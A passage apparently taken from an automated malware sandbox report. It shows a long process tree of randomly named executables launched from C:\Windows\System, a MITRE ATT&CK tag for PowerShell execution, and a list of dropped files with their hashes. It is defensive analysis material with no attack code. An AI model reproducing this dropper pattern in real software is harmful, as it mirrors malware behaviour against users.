- C:\Windows\System\jLtVvPc.exe
  C:\Windows\System\jLtVvPc.exe
  2⤵
  PID:8444
- C:\Windows\System\aRuopkT.exe
  C:\Windows\System\aRuopkT.exe
  2⤵
  PID:8460
- C:\Windows\System\cDzcDxV.exe
  C:\Windows\System\cDzcDxV.exe
  2⤵
  PID:8476
- C:\Windows\System\ptGhauj.exe
  C:\Windows\System\ptGhauj.exe
  2⤵
  PID:8492
- C:\Windows\System\fRXcDsp.exe
  C:\Windows\System\fRXcDsp.exe
  2⤵
  PID:8508
- C:\Windows\System\XuULrkM.exe
  C:\Windows\System\XuULrkM.exe
  2⤵
  PID:8524
- C:\Windows\System\oiVlKKa.exe
  C:\Windows\System\oiVlKKa.exe
  2⤵
  PID:8540
- C:\Windows\System\GlVrrRw.exe
  C:\Windows\System\GlVrrRw.exe
  2⤵
  PID:8556
- C:\Windows\System\vMxzCOg.exe
  C:\Windows\System\vMxzCOg.exe
  2⤵
  PID:8572
- C:\Windows\System\GcuskdW.exe
  C:\Windows\System\GcuskdW.exe
  2⤵
  PID:8588
- C:\Windows\System\jpKqgPD.exe
  C:\Windows\System\jpKqgPD.exe
  2⤵
  PID:8604
- C:\Windows\System\DXGSILy.exe
  C:\Windows\System\DXGSILy.exe
  2⤵
  PID:8620
- C:\Windows\System\fchfqqe.exe
  C:\Windows\System\fchfqqe.exe
  2⤵
  PID:8636
- C:\Windows\System\gBMOCfi.exe
  C:\Windows\System\gBMOCfi.exe
  2⤵
  PID:8652
- C:\Windows\System\vVNzYHb.exe
  C:\Windows\System\vVNzYHb.exe
  2⤵
  PID:8668
- C:\Windows\System\YYVGtsX.exe
  C:\Windows\System\YYVGtsX.exe
  2⤵
  PID:8684
- C:\Windows\System\yeRWTzy.exe
  C:\Windows\System\yeRWTzy.exe
  2⤵
  PID:8700
- C:\Windows\System\LKiZAEk.exe
  C:\Windows\System\LKiZAEk.exe
  2⤵
  PID:8716
- C:\Windows\System\kIefgdb.exe
  C:\Windows\System\kIefgdb.exe
  2⤵
  PID:8732
- C:\Windows\System\LHYxtAw.exe
  C:\Windows\System\LHYxtAw.exe
  2⤵
  PID:8748
- C:\Windows\System\DFrhSuc.exe
  C:\Windows\System\DFrhSuc.exe
  2⤵
  PID:8764
- C:\Windows\System\iNGWgpn.exe
  C:\Windows\System\iNGWgpn.exe
  2⤵
  PID:8780
- C:\Windows\System\gdyFTzo.exe
  C:\Windows\System\gdyFTzo.exe
  2⤵
  PID:8796
- C:\Windows\System\GcjWofw.exe
  C:\Windows\System\GcjWofw.exe
  2⤵
  PID:8812
- C:\Windows\System\JNjQowh.exe
  C:\Windows\System\JNjQowh.exe
  2⤵
  PID:8828
- C:\Windows\System\trzIRJf.exe
  C:\Windows\System\trzIRJf.exe
  2⤵
  PID:8844
- C:\Windows\System\oysSDbV.exe
  C:\Windows\System\oysSDbV.exe
  2⤵
  PID:8860
- C:\Windows\System\qqEImsC.exe
  C:\Windows\System\qqEImsC.exe
  2⤵
  PID:8876
- C:\Windows\System\PAQQNJt.exe
  C:\Windows\System\PAQQNJt.exe
  2⤵
  PID:8892
- C:\Windows\System\gGIxcvE.exe
  C:\Windows\System\gGIxcvE.exe
  2⤵
  PID:8908
- C:\Windows\System\iiKRLdQ.exe
  C:\Windows\System\iiKRLdQ.exe
  2⤵
  PID:8924
- C:\Windows\System\OmdFbkb.exe
  C:\Windows\System\OmdFbkb.exe
  2⤵
  PID:8940
- C:\Windows\System\kQvBrMZ.exe
  C:\Windows\System\kQvBrMZ.exe
  2⤵
  PID:8956
- C:\Windows\System\MTsGUbA.exe
  C:\Windows\System\MTsGUbA.exe
  2⤵
  PID:8972
- C:\Windows\System\EfCgcyP.exe
  C:\Windows\System\EfCgcyP.exe
  2⤵
  PID:8988
- C:\Windows\System\uRxGKHV.exe
  C:\Windows\System\uRxGKHV.exe
  2⤵
  PID:9004
- C:\Windows\System\jJpYIoJ.exe
  C:\Windows\System\jJpYIoJ.exe
  2⤵
  PID:9020
- C:\Windows\System\eBPfpli.exe
  C:\Windows\System\eBPfpli.exe
  2⤵
  PID:9036
- C:\Windows\System\kspQEhp.exe
  C:\Windows\System\kspQEhp.exe
  2⤵
  PID:9052
- C:\Windows\System\IBjczyd.exe
  C:\Windows\System\IBjczyd.exe
  2⤵
  PID:9068
- C:\Windows\System\ZqiXfsW.exe
  C:\Windows\System\ZqiXfsW.exe
  2⤵
  PID:9084
- C:\Windows\System\hgSGaUd.exe
  C:\Windows\System\hgSGaUd.exe
  2⤵
  PID:9100
- C:\Windows\System\xRnhIDX.exe
  C:\Windows\System\xRnhIDX.exe
  2⤵
  PID:9116
- C:\Windows\System\XklBFdS.exe
  C:\Windows\System\XklBFdS.exe
  2⤵
  PID:9132
- C:\Windows\System\RXAITvC.exe
  C:\Windows\System\RXAITvC.exe
  2⤵
  PID:9148
- C:\Windows\System\gkZdeYX.exe
  C:\Windows\System\gkZdeYX.exe
  2⤵
  PID:9164
- C:\Windows\System\PDMLEAT.exe
  C:\Windows\System\PDMLEAT.exe
  2⤵
  PID:9180
- C:\Windows\System\czvciSi.exe
  C:\Windows\System\czvciSi.exe
  2⤵
  PID:9196
- C:\Windows\System\nJiEypN.exe
  C:\Windows\System\nJiEypN.exe
  2⤵
  PID:9212
- C:\Windows\System\kMAeWOU.exe
  C:\Windows\System\kMAeWOU.exe
  2⤵
  PID:8228
- C:\Windows\System\qXbDpQe.exe
  C:\Windows\System\qXbDpQe.exe
  2⤵
  PID:7880
- C:\Windows\System\KBwdUCh.exe
  C:\Windows\System\KBwdUCh.exe
  2⤵
  PID:8216
- C:\Windows\System\lokYVRy.exe
  C:\Windows\System\lokYVRy.exe
  2⤵
  PID:8296
- C:\Windows\System\NqOqnrb.exe
  C:\Windows\System\NqOqnrb.exe
  2⤵
  PID:8248
- C:\Windows\System\ybXroSt.exe
  C:\Windows\System\ybXroSt.exe
  2⤵
  PID:8360
- C:\Windows\System\oizhQSU.exe
  C:\Windows\System\oizhQSU.exe
  2⤵
  PID:8312
- C:\Windows\System\vwJniXa.exe
  C:\Windows\System\vwJniXa.exe
  2⤵
  PID:8408
- C:\Windows\System\vBzMmOd.exe
  C:\Windows\System\vBzMmOd.exe
  2⤵
  PID:8420
- C:\Windows\System\qTInfXn.exe
  C:\Windows\System\qTInfXn.exe
  2⤵
  PID:8452
- C:\Windows\System\EXwREdo.exe
  C:\Windows\System\EXwREdo.exe
  2⤵
  PID:8468
- C:\Windows\System\KkqUnqL.exe
  C:\Windows\System\KkqUnqL.exe
  2⤵
  PID:8500
- C:\Windows\System\fwQdbGa.exe
  C:\Windows\System\fwQdbGa.exe
  2⤵
  PID:8552
- C:\Windows\System\fXjxZNh.exe
  C:\Windows\System\fXjxZNh.exe
  2⤵
  PID:8568
- C:\Windows\System\CbKhMjL.exe
  C:\Windows\System\CbKhMjL.exe
  2⤵
  PID:8616
- C:\Windows\System\TLaNhew.exe
  C:\Windows\System\TLaNhew.exe
  2⤵
  PID:8676
- C:\Windows\System\BpTMNSv.exe
  C:\Windows\System\BpTMNSv.exe
  2⤵
  PID:8632
- C:\Windows\System\GTXtGwr.exe
  C:\Windows\System\GTXtGwr.exe
  2⤵
  PID:8744
- C:\Windows\System\dIFhCiu.exe
  C:\Windows\System\dIFhCiu.exe
  2⤵
  PID:8660
- C:\Windows\System\yVYkITH.exe
  C:\Windows\System\yVYkITH.exe
  2⤵
  PID:8804
- C:\Windows\System\HSLZeeR.exe
  C:\Windows\System\HSLZeeR.exe
  2⤵
  PID:8868
- C:\Windows\System\ensBhNq.exe
  C:\Windows\System\ensBhNq.exe
  2⤵
  PID:8820
- C:\Windows\System\cwezaCH.exe
  C:\Windows\System\cwezaCH.exe
  2⤵
  PID:8756
- C:\Windows\System\MGowxWt.exe
  C:\Windows\System\MGowxWt.exe
  2⤵
  PID:8792
- C:\Windows\System\DxJtwfW.exe
  C:\Windows\System\DxJtwfW.exe
  2⤵
  PID:8852
- C:\Windows\System\zFiOSlz.exe
  C:\Windows\System\zFiOSlz.exe
  2⤵
  PID:8920
- C:\Windows\System\Ojtpfbv.exe
  C:\Windows\System\Ojtpfbv.exe
  2⤵
  PID:9000
- C:\Windows\System\EOgehzU.exe
  C:\Windows\System\EOgehzU.exe
  2⤵
  PID:9064
- C:\Windows\System\zDkidmu.exe
  C:\Windows\System\zDkidmu.exe
  2⤵
  PID:9048
- C:\Windows\System\TCNvRRr.exe
  C:\Windows\System\TCNvRRr.exe
  2⤵
  PID:9080
- C:\Windows\System\MAhITtG.exe
  C:\Windows\System\MAhITtG.exe
  2⤵
  PID:9076
- C:\Windows\System\DguFGer.exe
  C:\Windows\System\DguFGer.exe
  2⤵
  PID:9188
- C:\Windows\System\hkOsxWr.exe
  C:\Windows\System\hkOsxWr.exe
  2⤵
  PID:7496
- C:\Windows\System\xTwrcGI.exe
  C:\Windows\System\xTwrcGI.exe
  2⤵
  PID:8328
- C:\Windows\System\qcINstU.exe
  C:\Windows\System\qcINstU.exe
  2⤵
  PID:9172
- C:\Windows\System\rNNLJcA.exe
  C:\Windows\System\rNNLJcA.exe
  2⤵
  PID:8376
- C:\Windows\System\lgghjIy.exe
  C:\Windows\System\lgghjIy.exe
  2⤵
  PID:7992
- C:\Windows\System\BgohhDj.exe
  C:\Windows\System\BgohhDj.exe
  2⤵
  PID:8276
- C:\Windows\System\ZFtbUJP.exe
  C:\Windows\System\ZFtbUJP.exe
  2⤵
  PID:8520
- C:\Windows\System\ljKHrbu.exe
  C:\Windows\System\ljKHrbu.exe
  2⤵
  PID:8548
- C:\Windows\System\vztGVBo.exe
  C:\Windows\System\vztGVBo.exe
  2⤵
  PID:8628
- C:\Windows\System\dawlyUC.exe
  C:\Windows\System\dawlyUC.exe
  2⤵
  PID:8836
- C:\Windows\System\OTfYWUb.exe
  C:\Windows\System\OTfYWUb.exe
  2⤵
  PID:8824
- C:\Windows\System\smHNCXY.exe
  C:\Windows\System\smHNCXY.exe
  2⤵
  PID:9096
- C:\Windows\System\AUvkXxc.exe
  C:\Windows\System\AUvkXxc.exe
  2⤵
  PID:8648
- C:\Windows\System\mZFeQQY.exe
  C:\Windows\System\mZFeQQY.exe
  2⤵
  PID:8564
- C:\Windows\System\ZMATEdS.exe
  C:\Windows\System\ZMATEdS.exe
  2⤵
  PID:8904
- C:\Windows\System\nFOCpMV.exe
  C:\Windows\System\nFOCpMV.exe
  2⤵
  PID:8900
- C:\Windows\System\wJvsCYo.exe
  C:\Windows\System\wJvsCYo.exe
  2⤵
  PID:8916
- C:\Windows\System\LhikSIJ.exe
  C:\Windows\System\LhikSIJ.exe
  2⤵
  PID:9160
- C:\Windows\System\cuwdRaN.exe
  C:\Windows\System\cuwdRaN.exe
  2⤵
  PID:8260
- C:\Windows\System\ralmXyM.exe
  C:\Windows\System\ralmXyM.exe
  2⤵
  PID:8440
- C:\Windows\System\iRBjqUG.exe
  C:\Windows\System\iRBjqUG.exe
  2⤵
  PID:8488
- C:\Windows\System\rDjllja.exe
  C:\Windows\System\rDjllja.exe
  2⤵
  PID:8884
- C:\Windows\System\dPKgmUG.exe
  C:\Windows\System\dPKgmUG.exe
  2⤵
  PID:8952
- C:\Windows\System\jfmzAUE.exe
  C:\Windows\System\jfmzAUE.exe
  2⤵
  PID:8696
- C:\Windows\System\ldyTlPf.exe
  C:\Windows\System\ldyTlPf.exe
  2⤵
  PID:8308
- C:\Windows\System\VJtSvGG.exe
  C:\Windows\System\VJtSvGG.exe
  2⤵
  PID:9060
- C:\Windows\System\WkKucXV.exe
  C:\Windows\System\WkKucXV.exe
  2⤵
  PID:9208
- C:\Windows\System\QpMnuoT.exe
  C:\Windows\System\QpMnuoT.exe
  2⤵
  PID:7448
- C:\Windows\System\FZyYkHU.exe
  C:\Windows\System\FZyYkHU.exe
  2⤵
  PID:8692
- C:\Windows\System\pzZclqR.exe
  C:\Windows\System\pzZclqR.exe
  2⤵
  PID:8600
- C:\Windows\System\BEeQJdW.exe
  C:\Windows\System\BEeQJdW.exe
  2⤵
  PID:9232
- C:\Windows\System\bXRBKyl.exe
  C:\Windows\System\bXRBKyl.exe
  2⤵
  PID:9248
- C:\Windows\System\XArLMrv.exe
  C:\Windows\System\XArLMrv.exe
  2⤵
  PID:9264
- C:\Windows\System\hxmyrRQ.exe
  C:\Windows\System\hxmyrRQ.exe
  2⤵
  PID:9280
- C:\Windows\System\OgVQRbP.exe
  C:\Windows\System\OgVQRbP.exe
  2⤵
  PID:9296
- C:\Windows\System\KdmUGZa.exe
  C:\Windows\System\KdmUGZa.exe
  2⤵
  PID:9312
- C:\Windows\System\kyNvLQS.exe
  C:\Windows\System\kyNvLQS.exe
  2⤵
  PID:9328
- C:\Windows\System\AbAYcEx.exe
  C:\Windows\System\AbAYcEx.exe
  2⤵
  PID:9344
- C:\Windows\System\Vnhejxh.exe
  C:\Windows\System\Vnhejxh.exe
  2⤵
  PID:9360
- C:\Windows\System\GVIlgBw.exe
  C:\Windows\System\GVIlgBw.exe
  2⤵
  PID:9376
- C:\Windows\System\YUfeiin.exe
  C:\Windows\System\YUfeiin.exe
  2⤵
  PID:9392
- C:\Windows\System\eYyQjCj.exe
  C:\Windows\System\eYyQjCj.exe
  2⤵
  PID:9408
- C:\Windows\System\fImJVzl.exe
  C:\Windows\System\fImJVzl.exe
  2⤵
  PID:9424
- C:\Windows\System\RBWtcZw.exe
  C:\Windows\System\RBWtcZw.exe
  2⤵
  PID:9448
- C:\Windows\System\JJTytMf.exe
  C:\Windows\System\JJTytMf.exe
  2⤵
  PID:9464
- C:\Windows\System\OeMquRD.exe
  C:\Windows\System\OeMquRD.exe
  2⤵
  PID:9480
- C:\Windows\System\bKDlvnW.exe
  C:\Windows\System\bKDlvnW.exe
  2⤵
  PID:9496
- C:\Windows\System\SogPwUg.exe
  C:\Windows\System\SogPwUg.exe
  2⤵
  PID:9512
- C:\Windows\System\JxCnyRj.exe
  C:\Windows\System\JxCnyRj.exe
  2⤵
  PID:9584
- C:\Windows\System\bXTUOWC.exe
  C:\Windows\System\bXTUOWC.exe
  2⤵
  PID:9752
- C:\Windows\System\KrlykRa.exe
  C:\Windows\System\KrlykRa.exe
  2⤵
  PID:9772
- C:\Windows\System\mcIIdMP.exe
  C:\Windows\System\mcIIdMP.exe
  2⤵
  PID:9788
- C:\Windows\System\bPXdLfl.exe
  C:\Windows\System\bPXdLfl.exe
  2⤵
  PID:9804
- C:\Windows\System\eXxpoZv.exe
  C:\Windows\System\eXxpoZv.exe
  2⤵
  PID:9824
- C:\Windows\System\oSunolT.exe
  C:\Windows\System\oSunolT.exe
  2⤵
  PID:9840
- C:\Windows\System\wpkzptg.exe
  C:\Windows\System\wpkzptg.exe
  2⤵
  PID:9968
- C:\Windows\System\qqqWPzD.exe
  C:\Windows\System\qqqWPzD.exe
  2⤵
  PID:9992
- C:\Windows\System\flXEpON.exe
  C:\Windows\System\flXEpON.exe
  2⤵
  PID:10008
- C:\Windows\System\AwIMDLa.exe
  C:\Windows\System\AwIMDLa.exe
  2⤵
  PID:10024
- C:\Windows\System\CwRiYhv.exe
  C:\Windows\System\CwRiYhv.exe
  2⤵
  PID:10044
- C:\Windows\System\qytAiRF.exe
  C:\Windows\System\qytAiRF.exe
  2⤵
  PID:10060
- C:\Windows\System\IiTYpYv.exe
  C:\Windows\System\IiTYpYv.exe
  2⤵
  PID:10076
- C:\Windows\System\KbLubve.exe
  C:\Windows\System\KbLubve.exe
  2⤵
  PID:10096
- C:\Windows\System\nmcPmQT.exe
  C:\Windows\System\nmcPmQT.exe
  2⤵
  PID:10112
- C:\Windows\System\BafDpmT.exe
  C:\Windows\System\BafDpmT.exe
  2⤵
  PID:10128
- C:\Windows\System\iUkkNTM.exe
  C:\Windows\System\iUkkNTM.exe
  2⤵
  PID:10148
- C:\Windows\System\wCBnwNu.exe
  C:\Windows\System\wCBnwNu.exe
  2⤵
  PID:10164
- C:\Windows\System\FEmucXs.exe
  C:\Windows\System\FEmucXs.exe
  2⤵
  PID:10180
- C:\Windows\System\YQmLwPB.exe
  C:\Windows\System\YQmLwPB.exe
  2⤵
  PID:10196
- C:\Windows\System\keIFErk.exe
  C:\Windows\System\keIFErk.exe
  2⤵
  PID:10212
- C:\Windows\System\pSEMnNa.exe
  C:\Windows\System\pSEMnNa.exe
  2⤵
  PID:10228
- C:\Windows\System\RjJxgNt.exe
  C:\Windows\System\RjJxgNt.exe
  2⤵
  PID:9044
- C:\Windows\System\mqicFhZ.exe
  C:\Windows\System\mqicFhZ.exe
  2⤵
  PID:8292
- C:\Windows\System\uoJPDtR.exe
  C:\Windows\System\uoJPDtR.exe
  2⤵
  PID:9244
- C:\Windows\System\NyXBMwa.exe
  C:\Windows\System\NyXBMwa.exe
  2⤵
  PID:8984
- C:\Windows\System\yuQJebn.exe
  C:\Windows\System\yuQJebn.exe
  2⤵
  PID:9272
- C:\Windows\System\zPvAIXi.exe
  C:\Windows\System\zPvAIXi.exe
  2⤵
  PID:9340
- C:\Windows\System\nrLcRYU.exe
  C:\Windows\System\nrLcRYU.exe
  2⤵
  PID:9368
- C:\Windows\System\XkEVJoZ.exe
  C:\Windows\System\XkEVJoZ.exe
  2⤵
  PID:9416
- C:\Windows\System\vSWZJQc.exe
  C:\Windows\System\vSWZJQc.exe
  2⤵
  PID:9432
- C:\Windows\System\NmaZwWJ.exe
  C:\Windows\System\NmaZwWJ.exe
  2⤵
  PID:9460
- C:\Windows\System\ismKZhS.exe
  C:\Windows\System\ismKZhS.exe
  2⤵
  PID:9528
- C:\Windows\System\GYgVORf.exe
  C:\Windows\System\GYgVORf.exe
  2⤵
  PID:9536
- C:\Windows\System\bTYBitj.exe
  C:\Windows\System\bTYBitj.exe
  2⤵
  PID:9552
- C:\Windows\System\yXbUIDF.exe
  C:\Windows\System\yXbUIDF.exe
  2⤵
  PID:9568
- C:\Windows\System\AEArRSr.exe
  C:\Windows\System\AEArRSr.exe
  2⤵
  PID:9476
- C:\Windows\System\bJrEUfA.exe
  C:\Windows\System\bJrEUfA.exe
  2⤵
  PID:9612
- C:\Windows\System\pAGWDCx.exe
  C:\Windows\System\pAGWDCx.exe
  2⤵
  PID:9628
- C:\Windows\System\yVJsAjS.exe
  C:\Windows\System\yVJsAjS.exe
  2⤵
  PID:9644
- C:\Windows\System\dxYhDBg.exe
  C:\Windows\System\dxYhDBg.exe
  2⤵
  PID:9672
- C:\Windows\System\kKgxFwc.exe
  C:\Windows\System\kKgxFwc.exe
  2⤵
  PID:9664
- C:\Windows\System\ZuXvVbF.exe
  C:\Windows\System\ZuXvVbF.exe
  2⤵
  PID:9744
- C:\Windows\System\KHTBbJw.exe
  C:\Windows\System\KHTBbJw.exe
  2⤵
  PID:9836
- C:\Windows\System\iiZQlSA.exe
  C:\Windows\System\iiZQlSA.exe
  2⤵
  PID:9812
- C:\Windows\System\AszczWC.exe
  C:\Windows\System\AszczWC.exe
  2⤵
  PID:9852
- C:\Windows\System\rOCPzFN.exe
  C:\Windows\System\rOCPzFN.exe
  2⤵
  PID:9868
- C:\Windows\System\DrsFPyv.exe
  C:\Windows\System\DrsFPyv.exe
  2⤵
  PID:9884
- C:\Windows\System\owSODht.exe
  C:\Windows\System\owSODht.exe
  2⤵
  PID:9896
- C:\Windows\System\WJyFoGi.exe
  C:\Windows\System\WJyFoGi.exe
  2⤵
  PID:9904
- C:\Windows\System\kqNMeri.exe
  C:\Windows\System\kqNMeri.exe
  2⤵
  PID:9928
- C:\Windows\System\nWGicVD.exe
  C:\Windows\System\nWGicVD.exe
  2⤵
  PID:9944
- C:\Windows\System\tDPqMLO.exe
  C:\Windows\System\tDPqMLO.exe
  2⤵
  PID:10000
- C:\Windows\System\MLqDiVP.exe
  C:\Windows\System\MLqDiVP.exe
  2⤵
  PID:10072
- C:\Windows\System\cbgePPx.exe
  C:\Windows\System\cbgePPx.exe
  2⤵
  PID:9984
- C:\Windows\System\qrtAeTj.exe
  C:\Windows\System\qrtAeTj.exe
  2⤵
  PID:10056
- C:\Windows\System\zqdeNlN.exe
  C:\Windows\System\zqdeNlN.exe
  2⤵
  PID:10120
- C:\Windows\System\LbYMYgs.exe
  C:\Windows\System\LbYMYgs.exe
  2⤵
  PID:10188
- C:\Windows\System\zIkRApB.exe
  C:\Windows\System\zIkRApB.exe
  2⤵
  PID:10224
- C:\Windows\System\JDYeFZb.exe
  C:\Windows\System\JDYeFZb.exe
  2⤵
  PID:10144
- C:\Windows\System\WwrgfKS.exe
  C:\Windows\System\WwrgfKS.exe
  2⤵
  PID:8888
- C:\Windows\System\ZIXNGMq.exe
  C:\Windows\System\ZIXNGMq.exe
  2⤵
  PID:8516
- C:\Windows\System\pDisoRZ.exe
  C:\Windows\System\pDisoRZ.exe
  2⤵
  PID:9352
- C:\Windows\System\DATymWd.exe
  C:\Windows\System\DATymWd.exe
  2⤵
  PID:9456
- C:\Windows\System\vtcZwzJ.exe
  C:\Windows\System\vtcZwzJ.exe
  2⤵
  PID:9472
- C:\Windows\System\egRCfTC.exe
  C:\Windows\System\egRCfTC.exe
  2⤵
  PID:9548
- C:\Windows\System\sLCUiya.exe
  C:\Windows\System\sLCUiya.exe
  2⤵
  PID:9604
- C:\Windows\System\HpcYqzv.exe
  C:\Windows\System\HpcYqzv.exe
  2⤵
  PID:9660
- C:\Windows\System\kKRgymV.exe
  C:\Windows\System\kKRgymV.exe
  2⤵
  PID:9504
- C:\Windows\System\xPNTlQT.exe
  C:\Windows\System\xPNTlQT.exe
  2⤵
  PID:9592
- C:\Windows\System\gdtgfoT.exe
  C:\Windows\System\gdtgfoT.exe
  2⤵
  PID:9680
- C:\Windows\System\eyCzhXF.exe
  C:\Windows\System\eyCzhXF.exe
  2⤵
  PID:9704
- C:\Windows\System\yaEMuau.exe
  C:\Windows\System\yaEMuau.exe
  2⤵
  PID:9720
- C:\Windows\System\eGokByb.exe
  C:\Windows\System\eGokByb.exe
  2⤵
  PID:9736
- C:\Windows\System\FIldDon.exe
  C:\Windows\System\FIldDon.exe
  2⤵
  PID:9800
- C:\Windows\System\tPzwQPq.exe
  C:\Windows\System\tPzwQPq.exe
  2⤵
  PID:9872
- C:\Windows\System\PMMcxok.exe
  C:\Windows\System\PMMcxok.exe
  2⤵
  PID:9948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\DTMcEfx.exe

Filesize
1.3MB

MD5
fd2d607e461a3915216bfdaa0a6e5ac0

SHA1
855dc910394572b67acdc0d33c1b975658c5b0c9

SHA256
7f8f3eb45105a45e0a78488ad5c655dc38a1c4a9bbdc7d41c88fbb716ac79962

SHA512
90a8a1c4cd53c9120f726a7b9bf290d09ecbf0bdbcd23ea8866ed5406e3321e598adb097c0b4ef7e3a51cc68e723ace8de20df57b390f3851e1e55c504a788fa

Download Submit
C:\Windows\system\FkjuOPn.exe

Filesize
1.3MB

MD5
adfde9c4a0c963cdaae66cc894e9525e

SHA1
36aa96982b644d3293edd8c47c3b896b0c1c1410

SHA256
eab162ae05bab43161c53b6da87dcd73a2c630ab66617142fadceab22dd67925

SHA512
e4daa8d7af938cde2ef2b20bf1833c367c7fa431307f753b6d2f41e4037dfb0cb2c25f80a6cc18c41977af0a3f1d0c366dbb951f43def6ab96228031e2e37ff8

Download Submit
C:\Windows\system\HZoktYI.exe

Filesize
1.3MB

MD5
ade255284366235bc42958a439605042

SHA1
e13c1736ef68a1a13bf5f5e0fe46bd0193089634

SHA256
eea1b4a9ba4446cefec79938e7b47b84972a37f28cac5f185537263791ffa9e5

SHA512
76360b01e0898ad266e8ecca7a8941980e577249a8bfd13a43aeb3cd79ab8d4a8e0ac634d555d16c5170620bd8616f5442853c90c859f5faabd0fca9c3fb864c

Download Submit
C:\Windows\system\MTMLGSL.exe

Filesize
1.3MB

MD5
4bcd86164d32a9ffbad4c300a53a0c5a

SHA1
ddc40e1dc19b4e8146d6c7e4ab57e7ec4cb24533

SHA256
46bc029588b7c36967eac69b6461a0638687f8962575d69605130e90f1c6abe8

SHA512
8511ca8bb8bace46f3bf55224788f1a216d76ee491725e682123e258756d677f6bcc04ddab2c1e701003e169f87e03d43fa7bc556e6fced7d0996d4e0ba91cb6

Download Submit
C:\Windows\system\PYGRspl.exe

Filesize
1.3MB

MD5
3fdbc0a5d6be47c043f8ecd3d728a429

SHA1
8c45ce5b7b7b38b688b049a237a947a6b41107b5

SHA256
3faded1994b8dc851dd7763a2bd443b9416732cf5b142273ed166eb8cbd2a06f

SHA512
6af9941362c7cd099a04c879e0d0d2e9150f38c749e2f84e085b5c11d2d7fc55e486e2f1d979b0c974b4bbc5ef8e0752fd3ffc6828509b00a444fd0dca6adfc9

Download Submit
C:\Windows\system\PpCncUZ.exe

Filesize
1.3MB

MD5
11f1c3cd075caa62e815cfa67c53889a

SHA1
59276d6e667345407d9577b50d0a906602696a83

SHA256
d23a4470ed73459294790ae6917636f3057032ffc70d74ede76e4dea8f8640c9

SHA512
7e02c8788cee277180631f8d59cc8e838971ca7c557a596e9b20f5c281755a2b06d997952126e62af1949a193d9c66d6f7c0e048ac009d072728092d2cc56d99

Download Submit
C:\Windows\system\QCClcgu.exe

Filesize
1.3MB

MD5
b29fd717d72dbbc09b77fb60be65ea19

SHA1
fe76a863624ff31f8669549a99390a3307355158

SHA256
703adcbfd745872a6f5242fb8a215a4d96fc92b087040eb72ce1502f15aa4f26

SHA512
4cefbd0eac4e14337a0304f4451026420cbaf8d26a44cd47193eb102e9d36ad58085f03276597292a632cdcd95ab5a76f9a35968ce243fe0c9e5bdc731abddbe

Download Submit
C:\Windows\system\QNlOuow.exe

Filesize
1.3MB

MD5
d6b490d36cfa67a4b919952a1d481d80

SHA1
edd4791d5903b8338f8a5f2b768f83c76fa912ef

SHA256
b0b071ab097efd6dd3095957a923cee762109e7798c7a3dc384a4a644a611132

SHA512
a2aed2e44179be9ecd5b36ac8a4546055b10211fb0d38a868e155670d9709c34690e24c2e8b90e786b1ade9f2d414ac1a8ad63e2d1029d239dbfaec14a8f9a07

Download Submit
C:\Windows\system\RKdDeap.exe

Filesize
1.3MB

MD5
f2c6b0a3f66e97479e4c4352b35d525b

SHA1
1794d47dfd0e44d7a333b2d7c3cd7910f89d5166

SHA256
85778f574599ec52e24cb8e816f7de1a107925bbf54b29ecaa97178ad1fe8437

SHA512
b26a97ea32b03b420409750248c739991fcae7e9f27ad9145ced9438412b277335ecd9f3f34d5f4a1e0666443c23483e6cbc0090f5a5aec25c1e1f6969270516

Download Submit
C:\Windows\system\SNxsLWH.exe

Filesize
1.3MB

MD5
86012349d18b4b6e10691bf86220ee1a

SHA1
e3f9605c010e62ba710fadc92bb09a06a6166617

SHA256
12c2909e8a29166b9d6c6ba10e4cce1791dae0b2e70dd74323acf128fd540ef6

SHA512
010d84f406b59e61405526122231f7ba0f0aca4ab0f1eddc59cc6f45f4d82897d885255b9698db6b1743c2048f3d89c28d00a59fae83e6e5156e985b3bd4d7cf

Download Submit
C:\Windows\system\SUwnSPt.exe

Filesize
18B

MD5
41549c1b87c66d6dedbd7134fb297811

SHA1
b5f04f179acc54b0ac502e2794bc80b7507308da

SHA256
0199d74767cfaf13f91979444060cc3d46ccc30584d70282584319f2bb604828

SHA512
5cf6f3bd95e454fb51785e912a637209a8c7f30ae3ad2678bbf0bb0d75cf8b43a3dba6afb3b3b98805a959fbc4dbf7101b7d790a070d0ea121c201571550e399

Download Submit
C:\Windows\system\XUXWoRL.exe

Filesize
1.3MB

MD5
ffa435070f3c4895e735c5902771e417

SHA1
41aa6b65cd16f8fc19fac858900933206106fae4

SHA256
2916db4a902e6e6171cde7d83deed9c06e25277a3141fa15bc26a5c982270a18

SHA512
2244b2f55ec3d425c8cff0587a2da67f61e3518bdf313886255cbf1369d84b57a986d6633df2465e9125cfef0dd1540e01e21a58dc655594c1443a0a0ec6625c

Download Submit
C:\Windows\system\XtWUiqD.exe

Filesize
1.3MB

MD5
bfd143691aaea392d902f34edbcc3290

SHA1
b1930b83d51b3421cb43f7803339fc4197081f0a

SHA256
8f52d5a9da11b3dde6f5a5043734205eab2a0a067330b28ec8f4858efae0b6a6

SHA512
39cfd484e0d0b507b6f9f9c6c12b5424583b4adc8ba37182e95e2014fe6857758d0888aab2b5d6bd5cd00bff4cefbb536e45e4949ddc8ce5e0b1c0b83cfda894

Download Submit
C:\Windows\system\aLsGlNB.exe

Filesize
1.3MB

MD5
918e05965d6ad7124691915fc15308bb

SHA1
0b921520079cdc456e35603a328f564f7a4390b1

SHA256
975bd3d39af840f070b5757da49135807e46dbdebc6ce870ace1eb9f2b24760b

SHA512
6ab1298555110e6a5ab3e63cddeebc91e2ab07288f9dfbf72ae5d9ab4df74e8c6b5014e75aefaec9adc9d2ddf0eafd492741e0dd7b958d010bac0bec8f09e9d5

Download Submit
C:\Windows\system\cQBGciO.exe

Filesize
1.3MB

MD5
ec6db6040baa601210d45c2435c15e48

SHA1
c5176bd76655f2c776b1e7f6c05c5e62a9d6e093

SHA256
ce90ce48a320faed0884d80c38765a825df28cd9fbb341c50821755367bced58

SHA512
3d0092d6c2afc527fed851ce1fa813708dceab22a96b223eae7a1935e28345e83598dc28faf8f40cb0cdd15b54c05a792596e051b6bb936a4c4b3445bc753d8a

Download Submit
C:\Windows\system\ditDIpe.exe

Filesize
1.3MB

MD5
517fda76463cf36e482bdbab4fce4400

SHA1
63a33da377e4b940beda49ae81fc4fefd8fe4a39

SHA256
